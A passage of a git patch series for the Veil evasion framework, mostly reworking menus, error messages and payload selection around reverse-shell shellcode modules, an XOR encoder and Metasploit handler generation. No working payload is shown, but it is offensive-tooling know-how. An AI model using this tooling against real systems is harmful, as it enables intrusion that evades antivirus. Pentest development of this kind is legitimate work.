"${osversion}" -lt "22" ]]; then + if [[ "${osmajversion}" -lt "22" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported on Fedora 22 or higher!${RESET}\n" exit 1 fi From 42f40c573cf5c08e45328892cc55e7da97d3354a Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 16:08:19 +0100 Subject: [PATCH 19/38] Set default BadChar --- tools/ordnance/payloads/x86/bind_tcp.py | 2 +- tools/ordnance/payloads/x86/rev_http.py | 2 +- tools/ordnance/payloads/x86/rev_https.py | 2 +- tools/ordnance/payloads/x86/rev_tcp.py | 2 +- tools/ordnance/payloads/x86/rev_tcp_all_ports.py | 2 +- tools/ordnance/payloads/x86/rev_tcp_dns.py | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/tools/ordnance/payloads/x86/bind_tcp.py b/tools/ordnance/payloads/x86/bind_tcp.py index f643ef7..0c822d9 100644 --- a/tools/ordnance/payloads/x86/bind_tcp.py +++ b/tools/ordnance/payloads/x86/bind_tcp.py @@ -41,7 +41,7 @@ def __init__(self, cli_arguments): self.required_options = { "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"], + "BadChars": ["\\x00", "Optional: Bad characters to avoid"], "RHOST": ["", "RHOST value"] } diff --git a/tools/ordnance/payloads/x86/rev_http.py b/tools/ordnance/payloads/x86/rev_http.py index 2a7f3cd..ff4ef75 100644 --- a/tools/ordnance/payloads/x86/rev_http.py +++ b/tools/ordnance/payloads/x86/rev_http.py @@ -49,7 +49,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): diff --git a/tools/ordnance/payloads/x86/rev_https.py b/tools/ordnance/payloads/x86/rev_https.py index 8616da9..0e9889b 100644 --- a/tools/ordnance/payloads/x86/rev_https.py +++ b/tools/ordnance/payloads/x86/rev_https.py @@ -51,7 +51,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): diff --git a/tools/ordnance/payloads/x86/rev_tcp.py b/tools/ordnance/payloads/x86/rev_tcp.py index 31cc389..6d7d5fd 100644 --- a/tools/ordnance/payloads/x86/rev_tcp.py +++ b/tools/ordnance/payloads/x86/rev_tcp.py @@ -48,7 +48,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): diff --git a/tools/ordnance/payloads/x86/rev_tcp_all_ports.py b/tools/ordnance/payloads/x86/rev_tcp_all_ports.py index f2a98a3..d3c2b17 100644 --- a/tools/ordnance/payloads/x86/rev_tcp_all_ports.py +++ b/tools/ordnance/payloads/x86/rev_tcp_all_ports.py @@ -48,7 +48,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): diff --git a/tools/ordnance/payloads/x86/rev_tcp_dns.py b/tools/ordnance/payloads/x86/rev_tcp_dns.py index 4cb12b5..ad76188 100644 --- a/tools/ordnance/payloads/x86/rev_tcp_dns.py +++ b/tools/ordnance/payloads/x86/rev_tcp_dns.py @@ -50,7 +50,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST domain value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): From 390b07e893849e564a6d7107bc2537a5d9c9b833 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 16:08:32 +0100 Subject: [PATCH 20/38] Fix the example BadChar message --- tools/ordnance/encoders/xor.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/tools/ordnance/encoders/xor.py b/tools/ordnance/encoders/xor.py index f1e785c..74711c4 100644 --- a/tools/ordnance/encoders/xor.py +++ b/tools/ordnance/encoders/xor.py @@ -160,13 +160,17 @@ def set_bad_characters(self, payload_obj): if rohan_re_code.match(item): final_bad_chars.append(item) else: - print(helpers.color("[*] Bad Character Error: Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\\\x00\\\\x02... format.", warning=True)) - sys.exit() + print() + print(helpers.color("[*] Bad Character Error (1): Invalid bad character detected.", warning=True)) + print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\x00\\x02... format.", warning=True)) + print() + return else: - print(helpers.color("[*] Bad Character Error: Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\\\x00\\\\x01... format.", warning=True)) - sys.exit() + print() + print(helpers.color("[*] Bad Character Error (2): Invalid bad character detected.", warning=True)) + print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\x00\\x01... format.", warning=True)) + print() + return self.bad_chars = [int("0x" + x, 16) for x in final_bad_chars] return From f1bcb307b1b4ff01894c02adbb22b5216e164142 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 16:09:27 +0100 Subject: [PATCH 21/38] Menu work - Don't go back to the main tool menu after being gen --- lib/common/orchestra.py | 6 +-- .../evasion/evasion_common/shellcode_help.py | 2 +- tools/evasion/tool.py | 30 ++++-------- tools/ordnance/tool.py | 47 +++++++++++++------ 4 files changed, 46 insertions(+), 39 deletions(-) diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index 95b7c27..9251386 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -34,7 +34,7 @@ def __init__(self, cli_stuff): "info": "Information on a specific tool", "options": "Show Veil configuration", "update": "Update Veil", - "exit": "Exit Veil"} + "exit": "Completely exit Veil"} self.number_of_tools = len(self.imported_tools) self.command_line_options = cli_stuff @@ -47,7 +47,6 @@ def command_line_use(self): tool_found = True if not tool_found: print(helpers.color('Error: You did not provide a valid tool name!', warning=True)) - print(helpers.color('Quitting Veil...', warning=True)) sys.exit() def list_tools(self, show_header = True): @@ -215,7 +214,6 @@ def main_menu(self): main_menu_command = "" elif main_menu_command.startswith('exit') or main_menu_command.startswith('quit'): - print('\n' + helpers.color('Quitting Veil', warning=True) + '\n') sys.exit() else: @@ -223,7 +221,7 @@ def main_menu(self): main_menu_command = "" except KeyboardInterrupt: - print("\n\n" + helpers.color("Rage quit!", warning=True)) + print("\n\n" + helpers.color("^C. Quitting...", warning=True)) sys.exit() # Show options diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 8258754..2607c79 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -521,7 +521,7 @@ def generate(self, required_options=None): print(helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)) return None else: - # Stript out extra characters, new lines, etc., just leave the shellcode. + # Strip out extra characters, new lines, etc., just leave the shellcode. # Tim Medin's patch for non-root non-Kali users msfvenom_shellcode = subprocess.check_output(settings.MSFVENOM_PATH + self.msfvenomCommand, shell=True) diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index a71a383..2a0178a 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -40,12 +40,12 @@ def __init__(self, cli_options=None): self.load_payloads(cli_options) self.command_options = cli_options self.evasion_main_menu_commands = { - "list" : "List available payloads", - "use" : "Use a specific payload", - "info" : "Information on a specific payload", - "exit" : "Exit Veil", - "back" : "Go to main Veil menu", - "clean" : "Remove generated artifacts", + "list": "List available payloads", + "use": "Use a specific payload", + "info": "Information on a specific payload", + "exit": "Completely exit Veil", + "back": "Go to Veil's main menu", + "clean": "Remove generated artifacts", "checkvt": "Check VirusTotal against generated hashes"} self.final_shellcode = "" self.payload_option_commands = { @@ -315,7 +315,7 @@ def tool_main_menu(self): evasion_main_command = input('Veil-Evasion command: ').strip().lower() - if evasion_main_command.startswith("back") or evasion_main_command.startswith("main"): + if evasion_main_command.startswith("back") or evasion_main_command.startswith("main") or evasion_main_command.startswith("menu"): evasion_main_command = "" break @@ -402,9 +402,9 @@ def use_payload(self, selected_payload): evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) while True: - payload_options_command = input("\n[" + selected_payload.path + ">>] ").strip().lower() + payload_options_command = input("[" + selected_payload.path + ">>] ").strip().lower() - if payload_options_command.startswith("back") or payload_options_command.startswith("main"): + if payload_options_command.startswith("back") or payload_options_command.startswith("main") or payload_options_command.startswith("menu"): payload_options_command = "" break @@ -415,11 +415,7 @@ def use_payload(self, selected_payload): payload_options_command = "" else: selected_payload.generate() - if not outfile.compiler(selected_payload): - payload_options_command = "" - else: - payload_options_command = "" - break + outfile.compiler(selected_payload) elif payload_options_command.startswith("exit") or payload_options_command.startswith("quit"): sys.exit(0) @@ -469,10 +465,4 @@ def use_payload(self, selected_payload): print(helpers.color("[*] Ex: set DOMAIN christest.com", warning=True)) print() payload_options_command = "" - - else: - # Not a real command - evasion_helpers.print_dict_message(self.payload_option_commands) - payload_options_command = "" - return diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index 8f0b370..641d7e8 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -31,15 +31,16 @@ def __init__(self, cli_options=None): "list": "List available [payloads] or [encoders]", "use": "Use a specific payload", "info": "Information on a specific payload or encoder", - "exit": "Exit Veil", - "back": "Go to main Veil menu"} + "exit": "Completely exit Veil", + "back": "Go to Veil's main menu"} self.final_shellcode = "" self.shellcode_option_commands = { - "set": "Set shellcode option", - "generate": "Generate the shellcode", + "set": "Set payload option", + "generate": "Generate the payload", "back": "Go back", "exit": "Completely exit Veil", - "options": "Show the shellcode's options" + "options": "Show the payload's options", + "list": "List available encoders", } # Used to track if invoked by another tool self.invoked = False @@ -232,7 +233,7 @@ def tool_main_menu(self, invoked=False): elif ordnance_main_command.startswith("help"): ordnance_main_command = "" - elif ordnance_main_command.startswith("back") or ordnance_main_command.startswith("main") : + elif ordnance_main_command.startswith("back") or ordnance_main_command.startswith("main") or ordnance_main_command.startswith("menu"): ordnance_main_command = "" break @@ -284,7 +285,9 @@ def use_encoder(self, incoming_pload): loaded_encoder.encode(incoming_pload) if not encoder_found: + print() print(helpers.color("[*] Error: Encoder not found! Printing non-encoded shellcode!", warning=True)) + print() return def use_payload(self, incoming_payload): @@ -307,8 +310,10 @@ def use_payload(self, incoming_payload): # Start logic for required option commands if shellcode_command.startswith("set"): if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: + print() print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) print(helpers.color("[*] Ex: set LHOST 192.168.18.14", warning=True)) + print() else: found_req_option = False for key, value in payload.required_options.items(): @@ -316,33 +321,45 @@ def use_payload(self, incoming_payload): found_req_option = True value[0] = shellcode_command.split()[2] if not found_req_option: + print() print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) + print() elif shellcode_command.startswith("exit") or shellcode_command.startswith("quit"): # Completely exit out of Veil - print(helpers.color("[*] You're rage quitting all of Veil!", warning=True)) sys.exit(0) - elif shellcode_command.startswith("back") or shellcode_command.startswith("main") : + elif shellcode_command.startswith("back") or shellcode_command.startswith("main") or shellcode_command.startswith("menu"): # Go back to shellcode selection shellcode_command = "" breakout = True break + elif shellcode_command.startswith("list"): + ordnance_helpers.title_screen() + print() + self.print_encoders() + print() elif shellcode_command.startswith("gen") or shellcode_command.startswith("run"): lport_out = "" lhost_out = "" rhost_out = "" if ordnance_helpers.loop_req_options(payload): + print() print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) + print() else: safe_to_generate = True if "LHOST" in payload.required_options: if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): + print() print(helpers.color("[*] Error: You didn't provide a valid IP address!", warning=True)) print(helpers.color("[*] Error: Try again :)", warning=True)) + print() safe_to_generate = False if "LPORT" in payload.required_options: if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): + print() print(helpers.color("[*] Error: You didn't provide a valid LPORT value!", warning=True)) print(helpers.color("[*] Error: Try again :)", warning=True)) + print() safe_to_generate = False if safe_to_generate: # Generate the shellcode @@ -376,12 +393,12 @@ def use_payload(self, incoming_payload): dummy2 = input('\nHit enter to continue... ') shellcode_command = "" - if "LHOST" in payload.required_options: - payload.required_options["LHOST"][0] = "" - if "LPORT" in payload.required_options: - payload.required_options["LPORT"][0] = "" - breakout = True - break + #if "LHOST" in payload.required_options: + # payload.required_options["LHOST"][0] = "" + #if "LPORT" in payload.required_options: + # payload.required_options["LPORT"][0] = "" + #breakout = True + #break elif shellcode_command.startswith("option"): # Reprint the shellcode options to console self.print_options_screen(payload) @@ -398,5 +415,7 @@ def use_payload(self, incoming_payload): break if not shellcode_found: + print() print(helpers.color("[*] Error: You did not provide a valid payload name, please try again!", warning=True)) + print() return From 1f7128f082923518ce1ba9927ee0e184e8070ea6 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 16:09:47 +0100 Subject: [PATCH 22/38] Fix handler bug - where it wouldn't create, but says it had. --- tools/evasion/evasion_common/outfile.py | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 068cf4f..0d45dbc 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -265,11 +265,12 @@ def compiler(payload_object, invoked=False, cli_object=None): handler_code_generator(payload_object, file_name, invoked=True, cli_obj=cli_object) else: handler_code_generator(payload_object, file_name) + if os.path.isfile(settings.HANDLER_PATH + file_name + '.rc'): - print(" [*] Metasploit RC file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) + print(" [*] Metasploit Resource file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) if not invoked: - dummy = input('\nPlease press enter to continue >: ') + dummy = input('\nHit enter to continue... ') # End of if statement checking to make sure payload_source_code is # not empty @@ -378,15 +379,22 @@ def handler_code_generator(selected_payobject, handler_name, invoked=False, cli_ elif rhost_value: handler_text += 'set RHOST ' + rhost_value + '\n' else: - print(helpers.color("\nError generating handler code, giving up on creating the .rc file\n", warning=True)) skip_handler = True handler_text += 'set LPORT ' + str(lport_value) + '\n' handler_text += 'set ExitOnSession false\n' - handler_text += 'exploit -j' + handler_text += 'exploit -j\n' + + # Check to see if there is something there already + try: + os.remove(settings.HANDLER_PATH + handler_name + '.rc') + except OSError: + pass if not skip_handler: with open(settings.HANDLER_PATH + handler_name + '.rc', 'w') as handler_out: handler_out.write(handler_text) + else: + print(helpers.color("\nNo LHOST/RHOST value. Not going to create an .rc file\n", warning=True)) else: # we do nothing since no handler file is made for native payloads pass From 4325498ebe226e03010ce8af430f07c65a9e77c2 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 16:56:09 +0100 Subject: [PATCH 23/38] Order clean up --- tools/evasion/tool.py | 2 +- tools/ordnance/tool.py | 41 ++++++++++++++++++----------------------- 2 files changed, 19 insertions(+), 24 deletions(-) diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 2a0178a..44ab15d 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -368,7 +368,7 @@ def tool_main_menu(self): if not selected_payload_module: print() print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) print() evasion_main_command = "" show_evasion_menu = False diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index 641d7e8..04d4bd5 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -114,7 +114,7 @@ def cli_menu(self, invoked=False): sys.exit() def load_encoders(self, cli_args): - for name in glob.glob('tools/ordnance/encoders/*.py'): + for name in sorted( glob.glob('tools/ordnance/encoders/*.py') ): if name.endswith(".py") and ("__init__" not in name): loaded_encoder = imp.load_source( name.replace("/", ".").rstrip('.py'), name) @@ -122,7 +122,7 @@ def load_encoders(self, cli_args): return def load_payloads(self, cli_args): - for name in glob.glob('tools/ordnance/payloads/x86/*.py'): + for name in sorted( glob.glob('tools/ordnance/payloads/x86/*.py') ): if name.endswith(".py") and ("__init__" not in name): loaded_payloads = imp.load_source( name.replace("/", ".").rstrip('.py'), name) @@ -131,11 +131,13 @@ def load_payloads(self, cli_args): def print_encoders(self): print("Available Encoder Modules") - print("Command Line Name => Description") + print("\tCommand Line Name => Description") print("-" * 79) print() + x = 1 for encoder_module in self.active_encoders.values(): - print(helpers.color(encoder_module.cli_name) + " => " + encoder_module.name) + print( "\t%s)\t%s => %s" % ( x, '{0: <24}'.format( helpers.color( encoder_module.cli_name ) ), encoder_module.name ) ) + x += 1 return def print_shellcode_option_commands(self): @@ -158,11 +160,13 @@ def print_options_screen(self, pload_object): def print_payloads(self): print("Available Payload Modules") - print("Command Line Name => Description") + print("\tCommand Line Name => Description") print("-" * 79) print() + x = 1 for payload in self.active_shellcode.values(): - print(helpers.color(payload.cli_name) + " => " + payload.name) + print( "\t%s)\t%s => %s" % ( x, '{0: <28}'.format( helpers.color( payload.cli_name ) ), payload.name ) ) + x += 1 return def tool_main_menu(self, invoked=False): @@ -244,23 +248,7 @@ def tool_main_menu(self, invoked=False): sys.exit(0) elif ordnance_main_command.startswith('use'): - if len(ordnance_main_command.split()) < 2: - print() - print(helpers.color("[*] Error: You did not provide the payload to use!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) - print() - ordnance_main_command = "" - show_ordnance_menu = False - - elif len(ordnance_main_command.split()) > 2: - print() - print(helpers.color("[*] Error: You provided too many options!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) - print() - ordnance_main_command = "" - show_ordnance_menu = False - - else: + if len(ordnance_main_command.split()) == 2: self.selected_payload = ordnance_main_command.split()[1].lower() self.use_payload(self.selected_payload) @@ -270,6 +258,12 @@ def tool_main_menu(self, invoked=False): if self.final_shellcode == '': show_ordnance_menu = False + else: + print() + print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) + print(helpers.color("[*] Ex: use rev_http", warning=True)) + print() + show_ordnance_menu = False self.selected_payload = "" ordnance_main_command = "" @@ -295,6 +289,7 @@ def use_payload(self, incoming_payload): for payload in self.active_shellcode.values(): if incoming_payload.lower() == payload.cli_name: shellcode_found = True + while ordnance_helpers.loop_req_options(payload): self.print_options_screen(payload) From 4920c264878793eb798de616e5a23038dbaadb29 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 17:26:14 +0100 Subject: [PATCH 24/38] Able to use numbers, as well as full names --- tools/evasion/tool.py | 19 +-- tools/ordnance/tool.py | 290 ++++++++++++++++++++++------------------- 2 files changed, 161 insertions(+), 148 deletions(-) diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 44ab15d..3e4558d 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -221,6 +221,7 @@ def invoked_tool_menu(self, callback_config=None): def list_loaded_payloads(self): print(helpers.color("\n [*] Available Payloads:\n")) + lastBase = None x = 1 for name in sorted(self.active_payloads.keys()): @@ -228,7 +229,9 @@ def list_loaded_payloads(self): if lastBase and parts[0] != lastBase: print() lastBase = parts[0] + print("\t%s)\t%s" % (x, '{0: <24}'.format(name))) + x += 1 print("\n") return @@ -339,20 +342,15 @@ def tool_main_menu(self): print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = "" - show_evasion_menu = False else: self.print_options_screen(selected_payload_module) - evasion_main_command = "" - show_evasion_menu = False - else: print() print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = "" - show_evasion_menu = False + show_evasion_menu = False + evasion_main_command = "" elif evasion_main_command.startswith('list'): evasion_helpers.title_screen() @@ -363,27 +361,24 @@ def tool_main_menu(self): elif evasion_main_command.startswith('use'): if len(evasion_main_command.split()) == 2: - payload_selected = evasion_main_command.split()[1] + payload_selected = evasion_main_command.split()[1].lower() selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = "" show_evasion_menu = False else: self.use_payload(selected_payload_module) - evasion_main_command = "" show_evasion_menu = True - else: print() print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = "" show_evasion_menu = False + evasion_main_command = "" else: evasion_main_command = "" diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index 04d4bd5..c749af6 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -30,7 +30,6 @@ def __init__(self, cli_options=None): self.ordnance_main_menu_commands = { "list": "List available [payloads] or [encoders]", "use": "Use a specific payload", - "info": "Information on a specific payload or encoder", "exit": "Completely exit Veil", "back": "Go to Veil's main menu"} self.final_shellcode = "" @@ -134,10 +133,11 @@ def print_encoders(self): print("\tCommand Line Name => Description") print("-" * 79) print() - x = 1 + #x = 1 for encoder_module in self.active_encoders.values(): print( "\t%s)\t%s => %s" % ( x, '{0: <24}'.format( helpers.color( encoder_module.cli_name ) ), encoder_module.name ) ) - x += 1 + print( "\t%s => %s" % ( x, '{0: <24}'.format( helpers.color( encoder_module.cli_name ) ), encoder_module.name ) ) + #x += 1 return def print_shellcode_option_commands(self): @@ -163,9 +163,17 @@ def print_payloads(self): print("\tCommand Line Name => Description") print("-" * 79) print() + + lastBase = None x = 1 for payload in self.active_shellcode.values(): + parts = payload.cli_name.split("_") + if lastBase and parts[0] != lastBase: + print() + lastBase = parts[0] + print( "\t%s)\t%s => %s" % ( x, '{0: <28}'.format( helpers.color( payload.cli_name ) ), payload.name ) ) + x += 1 return @@ -249,28 +257,47 @@ def tool_main_menu(self, invoked=False): elif ordnance_main_command.startswith('use'): if len(ordnance_main_command.split()) == 2: - self.selected_payload = ordnance_main_command.split()[1].lower() - self.use_payload(self.selected_payload) - - # If invoked, return the shellcode - if self.invoked: - return - - if self.final_shellcode == '': + payload_selected = ordnance_main_command.split()[1].lower() + selected_payload_module = self.return_payload_object(payload_selected) + if not selected_payload_module: + print() + print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) + print(helpers.color("[*] Ex: use 2 or use rev_http", warning=True)) + print() show_ordnance_menu = False + else: + self.use_payload(selected_payload_module) + show_evasion_menu = True else: print() print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) + print(helpers.color("[*] Ex: use 2 or use rev_http", warning=True)) print() show_ordnance_menu = False - self.selected_payload = "" ordnance_main_command = "" else: ordnance_main_command = "" return + def return_payload_object(self, user_selection): + # This function handles returning the selected payload module object + # to the calling function + counter_value = 1 + for payload in self.active_shellcode.values(): + if user_selection.isdigit() and (0 < int(user_selection) <= len(self.active_shellcode)): + if int(user_selection) == counter_value: + print ("w00t1!") + return payload + else: + if user_selection.lower() == payload.cli_name: + print ("w00t2!") + return payload + + # Iterate counter for number based selection + counter_value += 1 + return False + def use_encoder(self, incoming_pload): encoder_found = False for loaded_encoder in self.active_encoders.values(): @@ -284,133 +311,124 @@ def use_encoder(self, incoming_pload): print() return - def use_payload(self, incoming_payload): - shellcode_found = False - for payload in self.active_shellcode.values(): - if incoming_payload.lower() == payload.cli_name: - shellcode_found = True - - while ordnance_helpers.loop_req_options(payload): - self.print_options_screen(payload) - - while True: - comp = completer.OrdnanceCompleter(self.shellcode_option_commands, payload) - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - breakout = False - shellcode_command = input( - "[" + payload.cli_name + ">>]: ").strip().lower() - - # Start logic for required option commands - if shellcode_command.startswith("set"): - if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: - print() - print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) - print(helpers.color("[*] Ex: set LHOST 192.168.18.14", warning=True)) - print() - else: - found_req_option = False - for key, value in payload.required_options.items(): - if shellcode_command.split()[1] == key.lower(): - found_req_option = True - value[0] = shellcode_command.split()[2] - if not found_req_option: - print() - print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) - print() - elif shellcode_command.startswith("exit") or shellcode_command.startswith("quit"): - # Completely exit out of Veil - sys.exit(0) - elif shellcode_command.startswith("back") or shellcode_command.startswith("main") or shellcode_command.startswith("menu"): - # Go back to shellcode selection - shellcode_command = "" - breakout = True - break - elif shellcode_command.startswith("list"): - ordnance_helpers.title_screen() + def use_payload(self, payload): + while ordnance_helpers.loop_req_options(payload): + self.print_options_screen(payload) + + while True: + comp = completer.OrdnanceCompleter(self.shellcode_option_commands, payload) + readline.set_completer_delims(' \t\n;') + readline.parse_and_bind("tab: complete") + readline.set_completer(comp.complete) + breakout = False + shellcode_command = input( + "[" + payload.cli_name + ">>]: ").strip().lower() + + # Start logic for required option commands + if shellcode_command.startswith("set"): + if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: + print() + print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) + print(helpers.color("[*] Ex: set LHOST 192.168.18.14", warning=True)) + print() + else: + found_req_option = False + for key, value in payload.required_options.items(): + if shellcode_command.split()[1] == key.lower(): + found_req_option = True + value[0] = shellcode_command.split()[2] + if not found_req_option: print() - self.print_encoders() + print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) print() - elif shellcode_command.startswith("gen") or shellcode_command.startswith("run"): - lport_out = "" - lhost_out = "" - rhost_out = "" - if ordnance_helpers.loop_req_options(payload): + elif shellcode_command.startswith("exit") or shellcode_command.startswith("quit"): + # Completely exit out of Veil + sys.exit(0) + elif shellcode_command.startswith("back") or shellcode_command.startswith("main") or shellcode_command.startswith("menu"): + # Go back to shellcode selection + shellcode_command = "" + breakout = True + break + elif shellcode_command.startswith("list"): + ordnance_helpers.title_screen() + print() + self.print_encoders() + print() + elif shellcode_command.startswith("gen") or shellcode_command.startswith("run"): + lport_out = "" + lhost_out = "" + rhost_out = "" + if ordnance_helpers.loop_req_options(payload): + print() + print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) + print() + else: + safe_to_generate = True + if "LHOST" in payload.required_options: + if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): print() - print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) + print(helpers.color("[*] Error: You didn't provide a valid IP address!", warning=True)) + print(helpers.color("[*] Error: Try again :)", warning=True)) print() + safe_to_generate = False + if "LPORT" in payload.required_options: + if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): + print() + print(helpers.color("[*] Error: You didn't provide a valid LPORT value!", warning=True)) + print(helpers.color("[*] Error: Try again :)", warning=True)) + print() + safe_to_generate = False + if safe_to_generate: + # Generate the shellcode + payload.gen_shellcode() + # Gather information to generate handler if requested + self.final_shellcode = payload.customized_shellcode + if "LHOST" in payload.required_options: + lhost_out = payload.required_options["LHOST"][0] + if "LPORT" in payload.required_options: + lport_out = payload.required_options["LPORT"][0] + if "RHOST" in payload.required_options: + rhost_out = payload.required_options["RHOST"][0] + + if lhost_out: + self.payload_options['LHOST'] = lhost_out + if lport_out: + self.payload_options['LPORT'] = lport_out + if rhost_out: + self.payload_options['RHOST'] = rhost_out + + # Check if encoder is needed + if payload.required_options["Encoder"][0] is not "None": + self.use_encoder(payload) + self.final_shellcode = payload.customized_shellcode + + # Print payload stats + payload.payload_stats() + if self.invoked: + dummy = input('\nHit enter to return to Veil-Evasion... ') else: - safe_to_generate = True - if "LHOST" in payload.required_options: - if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): - print() - print(helpers.color("[*] Error: You didn't provide a valid IP address!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) - print() - safe_to_generate = False - if "LPORT" in payload.required_options: - if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): - print() - print(helpers.color("[*] Error: You didn't provide a valid LPORT value!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) - print() - safe_to_generate = False - if safe_to_generate: - # Generate the shellcode - payload.gen_shellcode() - # Gather information to generate handler if requested - self.final_shellcode = payload.customized_shellcode - if "LHOST" in payload.required_options: - lhost_out = payload.required_options["LHOST"][0] - if "LPORT" in payload.required_options: - lport_out = payload.required_options["LPORT"][0] - if "RHOST" in payload.required_options: - rhost_out = 